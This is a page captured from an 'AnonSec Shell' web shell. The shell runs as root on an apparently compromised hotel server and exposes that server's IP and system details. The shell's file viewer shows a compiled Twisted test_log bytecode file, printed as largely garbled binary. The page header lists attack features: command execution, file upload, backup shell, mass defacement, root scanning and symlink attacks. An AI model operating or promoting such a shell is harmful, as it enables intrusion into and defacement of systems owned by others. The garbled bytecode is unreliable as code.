AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_log.cpython-310.pyc
o

�b��@s�dZddlZddlZddlZddlZddlZddlZddlmZm	Z	ddl
mZmZm
ZmZddlmZddlmZmZddlmZddlmZGd	d
�d
e�ZGdd�dej�ZGd
d�dej�ZGdd�de�Ze� e�Gdd�d�Z!Gdd�d�Z"Gdd�de!e"�Z#Gdd�d�Z$Gdd�de$ej�Z%Gdd�de$ej�Z&Gdd�dej�Z'Gdd �d ej�Z(Gd!d"�d"ej�Z)Gd#d$�d$ej�Z*dS)%z"
Tests for L{twisted.python.log}.
�N)�IOBase�StringIO)�LogBeginner�LoggingFile�LogLevel�LogPublisher)�handlerAndBytesIO)�failure�log)r)�unittestc@seZdZdZdS)�FakeWarningz
    A unique L{Warning} subclass used by tests for interactions of
    L{twisted.python.log} with the L{warnings} module.
    N)�__name__�
__module__�__qualname__�__doc__�rr�7/usr/lib/python3/dist-packages/twisted/test/test_log.pyrsrc@�@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�TextFromEventDictTestsz)
    Tests for L{textFromEventDict}.
    cCs$tdd�}t�|�}|�|d�dS)zj
        The C{"message"} value, when specified, is concatenated to generate the
        message.
        )�a�b�c)�messageza b cN��dictr
�textFromEventDict�assertEqual��self�	eventDict�textrrr�test_message)s

z#TextFromEventDictTests.test_messagecCs*tddddd�}t�|�}|�|d�dS)zW
        The C{"format"} value, when specified, is used to format the message.
        rrzHello, %(foo)s!�dude)r�isError�format�foozHello, dude!Nrrrrr�test_format2s
z"TextFromEventDictTests.test_formatcCs$tddd�}t�|�}|�|�dS)zb
        If C{"format"} is unspecified and C{"message"} is empty, return
        L{None}.
        rr�rr#N)rr
r�assertIsNonerrrr�test_noMessageNoFormat:s
z-TextFromEventDictTests.test_noMessageNoFormatc	CsJzt��ty$tddt��dd�}t�|�}|�|�d��YdSw)zO
        The C{"why"} value, when specified, is first part of message.
        r�r%)rr#r	�whyzfoo
N�	�RuntimeError�
BaseExceptionrr	�Failurer
r�
assertTrue�
startswithrrrr�test_whySpecifiedCs�
�z(TextFromEventDictTests.test_whySpecifiedcCsHzt��ty#tddt��d�}t�|�}|�|�d��YdSw)zY
        The C{"why"} value, when unspecified, defaults to C{"Unhandled Error"}.
        rr*�rr#r	zUnhandled Error
Nr,rrrr�test_whyDefaultPs
�z&TextFromEventDictTests.test_whyDefaultcCs*tddt�d�}t�|�}|�d|�dS)zk
        If unable to obtain a traceback due to an exception, catch it and note
        the error.
        rr*r3z
(unable to obtain traceback)N)r�objectr
r�assertInrrrr�test_noTracebackForYou[s
z-TextFromEventDictTests.test_noTracebackForYouN)
r
rrrr!r&r)r2r4r7rrrrr$s		
rc@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�LogTestscCs0g|_|jj|_t�|j�|�tj|j�dS�N)�catcher�append�observerr
�addObserver�
addCleanup�removeObserver�rrrr�setUpgs
zLogTests.setUpcCs^|j}tjddd�|��}|�|ddd�|�|d�|�d|�|�t|�d�dS)N�testT)�testShouldCatchrrrC�time)r:r
�msg�poprr0r6�len�rr:�irrr�testObservationmszLogTests.testObservationcCs||j}tjdddd�tjdditjddd	�|��}|�|dd�|�|d
d�|�|dd�|�|dd
d�dS)Nznot the defaultrr)�	subsystem�subsubsystem�otherrLrr%�d)rMrKrMrr)r:r
�callWithContextrErFrrHrrr�testContextvs
�zLogTests.testContextcCsXdt�tft�t��tffD]\}}t�|�|j��}|�|dd�|�	|�qdS)N��hello worldrRr#r*�
�KeyErrorr	r/r-r
�errr:rFr�flushLoggedErrors�r�e�igrIrrr�
testErrors�s�

�zLogTests.testErrorscCsjdt�tft�t��tffD]$\}}t�|d�|j��}|�|dd�|�|dd�|�	|�qdS)NrQ�foobarr#r*r+rSrWrrr�testErrorsWithWhy�s�
�zLogTests.testErrorsWithWhycCs�g}g}dd�}|j||jfD]}t�|�|�tj|�qtd�D]L}g|dd�<g|dd�<tjdgd�|�t�}|j	dd�=|�
t|�d�|�
t|�d�|�
t|�d�|�
|d	d
d�|�
|d	d
d�q"dS)a
        Exceptions raised by log observers are logged but the observer which
        raised the exception remains registered with the publisher.  These
        exceptions do not prevent the event from being sent to other observers
        registered with the publisher.
        cSsdddS�Nr*rr��eventrrr�broken��z-LogTests.test_erroneousErrors.<locals>.broken�N�
Howdy, y'all.)�	log_tracer*�rr)rc)r;r
r=r>r?�rangerErV�ZeroDivisionErrorr:rrG)r�L1�L2r`r<rI�excsrrr�test_erroneousErrors�s$

�zLogTests.test_erroneousErrorscCs�t��}|�|j�|�td�tdd�|j��}|�|d|d�|�|jg�|jtd�tddt	�d�|j��}|�|d|d�|�|jg�dS)zy
        L{twisted.python.log.showwarning} emits the warning as a message
        to the Twisted logging system.
        zunique warning message�warning-filename.py�r$zQwarning-filename.py:27: twisted.test.test_log.FakeWarning: unique warning message)�lineN)
r
rr=r<�showwarningrr:rFrr5)r�	publisherr_rrr�test_showwarning�s6�

��

�zLogTests.test_showwarningc
Cs�d}t}d}d}t�}tj|||||d�|�|��t�||||��d}t�}tj||||||d�|�|��t�|||||��dS)z�
        L{twisted.python.log.showwarning} passes warnings with an explicit file
        target on to the underlying Python warning system.
        zanother unique messagerl���filerR)rtrnN)rrr
ror�getvalue�warnings�
formatwarning)rr�category�filename�lineno�outputrnrrr�test_warningToFile�s"��zLogTests.test_warningToFilecsxg��fdd�}dd�}t��}|�|�|�|�|�d�|�t|j�||h�|�t��d�|��dt	�dS)	zk
        Log publisher does not use the global L{log.err} when reporting broken
        observers.
        cs"|�d�r��|dj�dSdS�Nr#r	)�getr;�value�r��errorsrr�logErrors
�zHLogTests.test_publisherReportsBrokenObserversPrivately.<locals>.logErrorcSstd��)N�*test_publisherLocalyReportsBrokenObservers)r-r�rrr�failszDLogTests.test_publisherReportsBrokenObserversPrivately.<locals>.fail�Hello!r*rN)
r
rr=rEr�set�	observersrG�assertIsInstancer-)rr�r�rprr�r�-test_publisherReportsBrokenObserversPrivately
s


z6LogTests.test_publisherReportsBrokenObserversPrivatelyN)r
rrrArJrPrZr\rkrqr|r�rrrrr8fs	'(r8c@�eZdZdd�Zdd�ZdS)�FakeFilecCs|�|�dSr9�r;)r�bytesrrr�write#�zFakeFile.writecCsdSr9rr@rrr�flush&�zFakeFile.flushN)r
rrr�r�rrrrr�"sr�c@�eZdZdefdd�ZdS)�EvilStr�returncC�tdd�Sr]��strr@rrr�__str__.razEvilStr.__str__N)r
rrr�r�rrrrr�-�r�c@s(eZdZdefdd�Zdefdd�ZdS)�EvilReprr�cC�dS)NzHappy Evil Reprrr@rrrr�3r�zEvilRepr.__str__cCr�r]r�r@rrr�__repr__6razEvilRepr.__repr__N)r
rrr�r�r�rrrrr�2sr�c@seZdZdS)�EvilReprStrN)r
rrrrrrr�:sr�c@r�)�LogPublisherTestCaseMixincCsRt�|_t��|_t�|j�|_|j�|jj�zWn	t	y#Ynwd|_
dS)z�
        Add a log observer which records log events in C{self.out}.  Also,
        make sure the default string encoding is ASCII so that
        L{testSingleUnicode} can test the behavior of logging unencodable
        unicode messages.
        N)r��outr
r�lp�FileLogObserver�flor=�emit�UnicodeEncodeError�
_origEncodingr@rrrrA?s
�
zLogPublisherTestCaseMixin.setUpcCsB|jD]}|�|t|�d��q|jdurt�|j�t`dSdS)z�
        Verify that everything written to the fake file C{self.out} was a
        C{str}.  Also, restore the default string encoding to its previous
        setting, if it was modified by L{setUp}.
        z was not a stringN)r�r�r�r��sys�setdefaultencoding)r�chunkrrr�tearDownRs

�z"LogPublisherTestCaseMixin.tearDownN)r
rrrAr�rrrrr�>sr�c@s$eZdZdd�Zdd�Zdd�ZdS)�LogPublisherTestscCs"|j�d�|�t|j�d�dS)N�
Hello, world.r*�r�rErrGr�r@rrr�testSingleStringasz"LogPublisherTests.testSingleStringcCs$|j�dd�|�t|j�d�dS)NzHello, zworld.r*r�r@rrr�testMultipleStringesz$LogPublisherTests.testMultipleStringcCs8d}|j�|�|�t|j�d�|�||jd�dS)z�
        L{log.LogPublisher.msg} does not accept non-ASCII Unicode on Python 2,
        logging an error instead.

        On Python 3, where Unicode is default message type, the message is
        logged normally.
        �Hello, ½ world.r*rN)r�rErrGr�r6)rrrrr�test_singleUnicodelsz$LogPublisherTests.test_singleUnicodeN)r
rrr�r�r�rrrrr�`sr�c@s�eZdZdZdZdZdZdZdZdZ	dZ
d	d
�Zdd�Zd
d�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Z d5S)6�FileObserverTestsz(
    Tests for L{log.FileObserver}.
    zInvalid format stringzUNFORMATTABLE OBJECTz<Invalid format string or unformattable object in log messagezPATHOLOGICAL ERRORzUnable to format eventz[UNFORMATTABLE]z)MESSAGE LOST: unformattable object loggedc		Cs�ttdd�dur
t�d��tj�dd�}zR|tjd<t��d}t�|�}d}zt�|�}Wnt	y?||kr<|}n�Ynw|�
|j�|�|j�|�f||f�W|dur\tjd=n|tjd<t��dS|durptjd=n|tjd<t��w)ay
        Verify that L{getTimezoneOffset} produces the expected offset for a
        certain timezone both when daylight saving time is in effect and when
        it is not.

        @param tzname: The name of a timezone to exercise.
        @type tzname: L{bytes}

        @param daylightOffset: The number of seconds west of UTC the timezone
            should be when daylight saving time is in effect.
        @type daylightOffset: L{int}

        @param standardOffset: The number of seconds west of UTC the timezone
            should be when daylight saving time is not in effect.
        @type standardOffset: L{int}
        �tzsetNzWPlatform cannot change timezone, cannot verify correct offsets in well-known timezones.�TZ)	i�r*rrrrrrerrr)	i���rrr��r*)
�getattrrDr�SkipTest�os�environr~r��mktime�
OverflowErrorrr��getTimezoneOffset)	r�tzname�daylightOffset�standardOffset�originalTimezone�localStandardTuple�standard�localDaylightTuple�daylightrrr�_getTimezoneOffsetTest�sB�

��

��

�


z(FileObserverTests._getTimezoneOffsetTestcC�|�ddd�dS)a!
        Attempt to verify that L{FileLogObserver.getTimezoneOffset} returns
        correct values for the current C{TZ} environment setting for at least
        some cases.  This test method exercises a timezone that is west of UTC
        (and should produce positive results).
        zAmerica/New_Yorki@8�PFN�r�r@rrr�test_getTimezoneOffsetWestOfUTC��z1FileObserverTests.test_getTimezoneOffsetWestOfUTCcCr�)a!
        Attempt to verify that L{FileLogObserver.getTimezoneOffset} returns
        correct values for the current C{TZ} environment setting for at least
        some cases.  This test method exercises a timezone that is east of UTC
        (and should produce negative results).
        z
Europe/Berlin������Nr�r@rrr�test_getTimezoneOffsetEastOfUTC�r�z1FileObserverTests.test_getTimezoneOffsetEastOfUTCcCs|�ddd�dS)af
        Attempt to verify that L{FileLogObserver.getTimezoneOffset} returns
        correct values for the current C{TZ} environment setting for at least
        some cases.  This test method exercises a timezone that does not use
        daylight saving time at all (so both summer and winter time test values
        should have the same offset).
        zAfrica/Johannesburgr�Nr�r@rrr�/test_getTimezoneOffsetWithoutDaylightSavingTime�szAFileObserverTests.test_getTimezoneOffsetWithoutDaylightSavingTimecCs
t�d�}dd�|j_|�|j�|�d�dd�|j_|�|j�|�d�dd�|j_|�|j�|�d�d	d�|j_|�|j�|�d
�dd�|j_|�|j�|�d�d
d�|j_|�|j�|�d�dd�|j_|�|j�|�d�d|j_|�|j�|�d�dS)zu
        Test the method of L{FileLogObserver} which turns a timestamp into a
        human-readable string.
        )	i�rerbr��r���rcSr�)Nr�r��whenrrr�<lambda>��z7FileObserverTests.test_timeFormatting.<locals>.<lambda>z2001-02-02 23:05:06-0500cSr�)Nr�rr�rrrr��r�z2001-02-03 05:05:06+0100cSr�)NiPe��rr�rrrr��r�z2001-02-03 15:05:06+1100cSr�)Nirr�rrrr�r�z2001-02-03 02:35:06-0130cSr�)Ni��rr�rrrr�r�z2001-02-03 05:35:06+0130cSr�)Nirr�rrrr�	r�z2001-02-03 03:35:06-0030cSr�)Ni����rr�rrrr�
r�z2001-02-03 04:35:06+0030z%Y %mz2001 02N)�calendar�timegmr�r�r�
formatTime�
timeFormat)rr�rrr�test_timeFormatting�s"
z%FileObserverTests.test_timeFormattingcCs d|j_|�d|j�d��dS)z�
        L{FileLogObserver.formatTime} supports a value of C{timeFormat} which
        includes C{"%f"}, a L{datetime}-only format specifier for microseconds.
        z%f�600000g�����m�@N)r�r�rr�r@rrr�#test_microsecondTimestampFormattingsz5FileObserverTests.test_microsecondTimestampFormattingcCs8|j�t��|�t|j�d�|�|j|jd�dSr])r�rEr�rrGr��assertNotIn�ERROR_UNFORMATTABLE_OBJECTr@rrr�%test_loggingAnObjectWithBroken__str__sz7FileObserverTests.test_loggingAnObjectWithBroken__str__cC�<|jjdt�d�|�t|j�d�|�|j|jd�dS�Nz%(blat)s�r$�blatr*r)r�rEr�rrGr�r6�ERROR_INVALID_FORMATr@rrr�(test_formattingAnObjectWithBroken__str__&�z:FileObserverTests.test_formattingAnObjectWithBroken__str__cCr��N�huh)�systemr*r)r�rEr�rrGr�r6�ERROR_FORMATr@rrr�test_brokenSystem__str__+r�z*FileObserverTests.test_brokenSystem__str__cC�>|jjdt�gd�|�t|j�d�|�|j|jd�dSr��r�rEr�rrGr�r6r�r@rrr�1test_formattingAnObjectWithBroken__repr__Indirect0�zCFileObserverTests.test_formattingAnObjectWithBroken__repr__IndirectcCr�r�r�r@rrr�%test_systemWithBroker__repr__Indirect5r�z7FileObserverTests.test_systemWithBroker__repr__IndirectcC�:|jjddd�|�t|j�d�|�|j|jd�dS)Nz
hooj %s %sr*r�r�r�rErrGr�r6r�r@rrr�test_simpleBrokenFormat:�z)FileObserverTests.test_simpleBrokenFormatcCr�)N�*r*r�rr�r@rrr�test_ridiculousFormat?r�z'FileObserverTests.test_ridiculousFormatcCs<|jjt�dd�|�t|j�d�|�|j|jd�dS)Nr*r�r)r�rEr�rrGr�r6�ERROR_PATHOLOGICALr@rrr�!test_evilFormat__repr__And__str__Dr�z3FileObserverTests.test_evilFormat__repr__And__str__cCs&|jjddd�|�t|j�d�dS)zP
        This kind of eventDict used to fail silently, so test it does.
        �Fr'rNr�r@rrr�test_strangeEventDictIsz'FileObserverTests.test_strangeEventDictcCs6|�tjj�|�ttdtj�|�ttdtj�dS)zm
        Cleanup after a startLogging() call that mutates the hell out of some
        global state.
        �stdout�stderrN)r>r
�theLogPublisher�_stopLogging�setattrr�r�r�r@rrr�_startLoggingCleanupPsz&FileObserverTests._startLoggingCleanupcsX|��t�}t�|��fdd�}g�t�|�tdtjd�|��ddd�dS)	zs
        startLogging()'s overridden sys.stderr should consider everything
        written to it an error.
        cs��|�dSr9r�r^��observedrr�observebr�z@FileObserverTests.test_printToStderrSetsIsError.<locals>.observer�rsrr#r*N)	rrr
�startLoggingr=�printr�r�r)r�fakeFilerrrr�test_printToStderrSetsIsErrorYs

z/FileObserverTests.test_printToStderrSetsIsErrorcCs�tjtj}}|��t�}t�|�}|�|j�t�	d�|�
d|���|�tjt
�|�tjjtj�t|dd�}|sBt��}|�tjj��|���|�tjt
�|�tjjtj�t|dd�}|sjt��}|�tjj��|���dS)zj
        startLogging() installs FileLogObserver and overrides sys.stdout and
        sys.stderr.
        r��encodingN)r�r�r�rrr
rr>�stoprEr6rur�rr�level�NewLogLevel�infor��getdefaultencodingr�upper�error)r�
origStdout�
origStderrr	r<rrrr�test_startLoggingks&

z#FileObserverTests.test_startLoggingcCsz|��t�t_dd�}t�|�|�tj|�t�tj�}|�|j	�|�
tjt�tj}t�tj�}|�tj|�dS)z�
        There are some obscure error conditions that can occur when logging is
        started twice. See http://twistedmatrix.com/trac/ticket/3289 for more
        information.
        cSs$|drtj�|d���dSdSr})r��
__stdout__r��getTracebackr�rrr�	showError�s�z;FileObserverTests.test_startLoggingTwice.<locals>.showErrorN)
rrr�r�r
r=r>r?rrr�r�assertIs)rrr<�
fakeStdoutrrr�test_startLoggingTwice�s
z(FileObserverTests.test_startLoggingTwicecs�|��t�}Gdd�d�}t||t|t�|t�d�}|�td|�dt_t�}ddi}g��fdd	�}||�|�	|�tj
|d
d�|�|j�|�
�g�t�d�|��}|�d
|�dS)z�
        startLogging() overrides global C{warnings.showwarning} such that
        warnings go to Twisted log observers.
        c@seZdZe�Ze�ZdS)zFFileObserverTests.test_startLoggingOverridesWarning.<locals>.SysModuleN)r
rrr5r�r�rrrr�	SysModule�s
r)�logBeginnerrN�	pre-startr_csd|��vr
��|�dSdS)Nr)�keysr;)�x��receivedrr�preStartObserver�s�zMFileObserverTests.test_startLoggingOverridesWarning.<locals>.preStartObserverF)�	setStdoutzhello!zUserWarning: hello!)r�NewLogPublisherrrrrv�patchr
�_oldshowwarningr=rr>rr�warnrur6)r�newPublisherr�tempLogPublisherr	�evtr#r{rr!r�!test_startLoggingOverridesWarning�s,�

z3FileObserverTests.test_startLoggingOverridesWarningcs�t�}t�|��g���fdd�}t��}|�|�|�d�|�t��d��d}|��}dj	��
|d�|dd	�}|�|�|�|�d
|���dS)zk
        FileLogObserver.emit() will add a timestamp and system prefix to its
        file output.
        cs��|���|�dSr9)r;r�r^��eventsr�rrr<�s
z3FileObserverTests.test_emitPrefix.<locals>.observerr�r*rz{time} [{system}] rDr�)rDr�z does not start with N)
rr
r�rr=rErrGrur$r�r0r1)rr{r<rpr_�result�prefixrr-r�test_emitPrefix�s$


��z!FileObserverTests.test_emitPrefixcCsZt�}t�|�}t��}|�|j�|�d�|��}d}|�|�	|�|�d|���dS)zR
        FileLogObserver.emit() will append a newline to its file output.
        r�zHello!
z does not end with N)
rr
r�rr=r�rErur0�endswith)rr{r�rpr/�suffixrrr�test_emitNewline�s

�z"FileObserverTests.test_emitNewlineN)!r
rrrr�r�r�r��ERROR_NO_FORMAT�ERROR_UNFORMATTABLE_SYSTEM�ERROR_MESSAGE_LOSTr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr
rrr,r1r4rrrrr�zs>D		+	2 r�c@r)�PythonLoggingObserverTestsz5
    Test the bridge with python logging module.
    cs�t�d��������tj��j��fdd��}t�\�_�_��	�j��j��fdd��}t
���_t
�
��_�j��jj�dS)Nr�cs����dSr9)�setLevelr)�
originalLevel�
rootLoggerrr�restoreLevelsz6PythonLoggingObserverTests.setUp.<locals>.restoreLevelcs���j��j��dSr9)�
removeHandler�hdlr�closer)r;rrr�removeLoggersz6PythonLoggingObserverTests.setUp.<locals>.removeLogger)�logging�	getLogger�getEffectiveLevelr9�DEBUGr>rr>r��
addHandlerr
rr��PythonLoggingObserver�obsr=r�)rr<r@r)r:r;rrrAs


z PythonLoggingObserverTests.setUpcCs4|j�d�|�d|j���|�d|j���dS)z<
        Test simple output, and default log level.
        r�s
Hello, world.sINFON�r�rEr6r�rur@rrr�test_singleString sz,PythonLoggingObserverTests.test_singleStringcCsNt�td��}|jj|dd�d}|j��}|�|�|�d|�d|���dS)z$
        Test error output.
        zThat is bad.T)r	r#s	CRITICAL:zDoes not start with z: N)	r	r/�
ValueErrorr�rEr�rur0r1)r�fr0r{rrr�test_errorString(s
�z+PythonLoggingObserverTests.test_errorStringcCs(|jjdddd�|�d|j���dS)z-
        Test logging with a format.
        z%(bar)s oo %(foo)s�Hello�world)r$�barr%sHello oo worldNrHr@rrr�test_formatString5sz,PythonLoggingObserverTests.test_formatStringcCs�|jjdtjd�|�d|j���|�d|j���|j�dd�|j��|jjdtj	d�|�d|j���|�d|j���d	S)
zG
        Test the logLevel keyword for customizing level used.
        z	Spam egg.)�logLevels	Spam egg.sERRORrzFoo bar.sFoo bar.sWARNINGN)
r�rErA�ERRORr6r�ru�seek�truncate�WARNINGr@rrr�test_customLevel<s
z+PythonLoggingObserverTests.test_customLevelcCs&|jjddd�|�|j��d�dS)zx
        Verify that an event dictionary which is not an error and has an empty
        message isn't recorded.
        r�Fr'�N)r�rErr�rur@rrrr�Isz0PythonLoggingObserverTests.test_strangeEventDictN)
r
rrrrArIrLrPrVr�rrrrr8s

r8c@� eZdZdZdd�Zdd�ZdS)�PythonLoggingIntegrationTestsz4
    Test integration of python logging bridge.
    cCs|tj}tj}g}z.|jt_|jt_t��}|��|�|d|j�|�	�|�t
|�d�W|t_|t_dS|t_|t_w)z~
        Test that start and stop methods of the observer actually register
        and unregister to the log system.
        rN)r
r=r?r;�removerF�startrr�rrG)r�oldAddObserver�oldRemoveObserver�lrGrrr�test_startStopObserverWs
�z4PythonLoggingIntegrationTests.test_startStopObservercCsbGdd�dtj�}|�}g}tjj}z|jtj_|�d�|�t|�d�W|tj_dS|tj_w)z�
        Test that we can inherit L{log.PythonLoggingObserver} and use super:
        that's basically a validation that L{log.PythonLoggingObserver} is
        new-style class.
        cseZdZ�fdd�Z�ZS)zBPythonLoggingIntegrationTests.test_inheritance.<locals>.MyObservercst��|�dSr9)�superr�)rr��	__class__rrr�s�zGPythonLoggingIntegrationTests.test_inheritance.<locals>.MyObserver.emit)r
rrr��
__classcell__rrrar�
MyObserverrsrer%r*N)r
rFr�r;rrG)rrerGr^�oldEmitrrr�test_inheritanceks

z.PythonLoggingIntegrationTests.test_inheritanceN)r
rrrr_rgrrrrrYRsrYc@rX)�DefaultObserverTestsz$
    Test the default observer.
    cCs�g|_|jj|_t�|j�|�tj|j�t��}t�|_	|�
�|�|j�d}t�t
�|�|��}|�||j	���|�t|�d�dS)zu
        The reason argument passed to log.err() appears in the report
        generated by DefaultObserver.
        zThe reason.r*N)r:r;r<r
r=r>r?�DefaultObserverrr�r[rrU�	ExceptionrVr6rurrG)rrG�reasonr�rrr�test_failureLogger�s
z'DefaultObserverTests.test_failureLoggercCs|Gdd�d�}d|�f}t|dd�}t��}t��}||_|�|�|�|���d��Wd�dS1s7wYdS)z�
        DefaultObserver.emit() does not raise when it observes an error event
        with a message that causes L{repr} to raise.
        c@r�)z?DefaultObserverTests.test_emitEventWithBrokenRepr.<locals>.Ouchr�cSstdd�Sr]r�r@rrrr��razHDefaultObserverTests.test_emitEventWithBrokenRepr.<locals>.Ouch.__repr__N)r
rrr�r�rrrr�Ouch�r�rmr%r*r'zfoo <Ouch instanceN)	rr
rirr�r�r0rur1)rrmrr_r<r{rrr�test_emitEventWithBrokenRepr�s

"�z1DefaultObserverTests.test_emitEventWithBrokenReprN)r
rrrrlrnrrrrrh�srhc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�StdioOnnaStickTestszF
    StdioOnnaStick should act like the normal sys.stdout object.
    cCsg|_t�|jj�dSr9)�
resultLogsr
r=r;r@rrrrA�szStdioOnnaStickTests.setUpcCst�|jj�dSr9)r
r?rpr;r@rrrr��szStdioOnnaStickTests.tearDowncCsdd�|jD�S)NcSsg|]	}d�|d��qS)r�r)�join)�.0rNrrr�
<listcomp>�sz6StdioOnnaStickTests.getLogMessages.<locals>.<listcomp>)rpr@rrr�getLogMessages�rcz"StdioOnnaStickTests.getLogMessagescCsFt��}|�d�|�|��dg�|�d�|�|��ddg�dS)z�
        Writing to a StdioOnnaStick instance results in Twisted log messages.

        Log messages are generated every time a '\n' is encountered.
        zHello there
This is a testzHello therez!
zThis is a test!N)r
�StdioOnnaStickr�rrt�r�stdiorrr�
test_write�s


zStdioOnnaStickTests.test_writecCs>t��}|�d�|�|jdd�|�|jdd�dS)z{
        The log messages written by StdioOnnaStick have printed=1 keyword, and
        by default are not errors.
        zhello
rr#�printedN)r
rur��assertFalserpr0rvrrr�
test_metadata�s
z!StdioOnnaStickTests.test_metadatacCs.t��}|�ddg�|�|��ddg�dS)zT
        Writing lines to a StdioOnnaStick results in Twisted log messages.
        zlog 1zlog 2N)r
ru�
writelinesrrtrvrrr�test_writeLines�sz#StdioOnnaStickTests.test_writeLinescCsJtj}t��t_|�ttd|�tddd�td�|�|��dg�dS)zW
        When StdioOnnaStick is set as sys.stdout, prints become log messages.
        r��This� )�endz	is a testzThis is a testN)	r�r�r
rur>rrrrt)r�	oldStdoutrrr�
test_print�s
zStdioOnnaStickTests.test_printcCs.tjdd�}|�d�|�|jdd�dS)zR
        StdioOnnaStick created with isError=True log messages as errors.
        T)r#zlog 1
rr#N)r
rur�r0rprvrrr�
test_error�s
zStdioOnnaStickTests.test_errorcCs~d}tjdd�}|�|jd�|�|d�|�d|g�tj}|t_|�t	td|�t
|�|�|��|d||g�dS)z�
        StdioOnnaStick converts unicode prints to byte strings on Python 2, in
        order to be compatible with the normal stdout/stderr objects.

        On Python 3, the prints are left unmodified.
        r�zutf-8)r�
zAlso, r�N)r
rurrr�r|r�r�r>rrrt)r�
unicodeStringrwr�rrr�test_unicode�s�z StdioOnnaStickTests.test_unicodeN)
r
rrrrAr�rtrxr{r}r�r�r�rrrrro�s
ro)+rr�rAr�r�rDrv�iorr�twisted.loggerrrrrrr%�twisted.logger.test.test_stdlibr�twisted.pythonr	r
�twisted.python.log�
twisted.trialr�Warningr�SynchronousTestCaserr8�listr��registerr�r�r�r�r�r�r8rYrhrorrrr�<module>s@B=
"L//

Anon7 - 2022
AnonSec Team